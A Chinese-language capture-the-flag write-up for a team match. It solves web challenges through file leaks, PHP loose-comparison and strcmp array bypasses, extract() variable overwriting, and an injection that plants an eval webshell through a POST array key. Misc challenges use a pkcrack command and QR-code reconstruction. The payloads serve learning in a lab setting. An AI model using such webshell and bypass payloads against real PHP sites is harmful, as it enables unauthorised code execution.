4.16日小组赛WriteUp

Web

土豪才能用的机器

打开页面,显示:I have a Mac,I am a coder,I love programing!!!

我的以为是修改http header来解,以各种姿势修改,都没有得到flag。

正确思路是Mac写代码会产生.DS_Store的隐藏文件,下载下来就是flag。

必须是数字

查看源代码,发现了I love vim,想起之前做的题有vim产生.swp的隐藏文件。

于是访问.index.php.swp,得到index.php的源代码。
1-1
发现还有一个f149.php,抓包,是一个php代码审计。
1-2
只能输入数字,而且还要有flag,想起php中==是松散比较,直接构造payload尝试。
1-3
得到flag。

输入密码

查看源码:

1
2
3
4
5
6
7
if (isset($_GET['a']))
{
if (strcmp($_GET['a'], $flag) == 0)
die( 'Flag: '.$flag);
else
print 'you are close';
}

这地方有个坑,php代码中是a变量,但是页面中提示check please input the password

所以要用password变量,松散比较直接用数组。
2-1

请努力微笑

参考Wp:http://blog.csdn.net/gwenchill/article/details/46679621
3-1

信息收录

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function new_addslashes($string)
{
if(!is_array($string))
return addslashes($string);
foreach($string as $key => $val)
$string[$key] = new_addslashes($val);
return $string;
}
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
$data = isset($_POST['data']) ?
$_POST['data'] : '';
$user_config = "<\?php \n";
foreach($data as $key => $value)
{
$key = strtoupper($key);
$user_config .= "define($key, '$value');\n";
}
@file_put_contents('user_config.php', $user_config);

Post的参数以数组的形式传递,经过过滤后保存到user_config.php中。

但是他过滤了数组的value值,没有过滤key值,可以在post的数组的key值上写入一句话。

payload:data['name','1');eval($_POST['C'])

菜刀链接即可得到flag。

泄露了什么东西

访问index.zip下载源码。
代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
extract($_GET);
include('flag.php');
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ( $dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";
echo "<p>Congratulation!!! flag is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>"; }
}
?>

变量覆盖,却没有结果。

看了writeup居然是变量sdust ORZ

payload:/index.php?filename=php://input&sdust=1 post: 1

php regrex

查看源码,发现需要用的正则表达式。

正则表达式我不太了解,只能请教。

http://www.runoob.com/regexp/regexp-tutorial.html

了解的并不深入,还需要进一步学习。

Misc

八十年代的歌

下载了个一docx文件,打开并没有发现什么。
docx文件可以直接改zip打开。
找到flag.xml得到flag。

来夺旗啊

因为有加密后zip的一部分key.txt
可以使用明文攻击。

pkcrack –c key.txt –p key.txt –C misc50.zip –P key.zip -d de.zip
1
2
3

神秘的密码

经过提示是IDA块的数据,然后用hex解码,转成RGB

1
2
3
4
5
6
7
8
import zlib
import binascii
IDAT="789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33".decode('hex')
result=binascii.hexlify(zlib.decompress(IDAT))
print(result)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
import Image
MAX = 27
pic = Image.new("RGB",(MAX, MAX))
str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")

得到二维码,扫码得flag。

总结

  1. php数组是个重要的东西,可以绕过很多松散比较。
  2. php自动回替.为_。
  3. docx可以直接改为zip打开。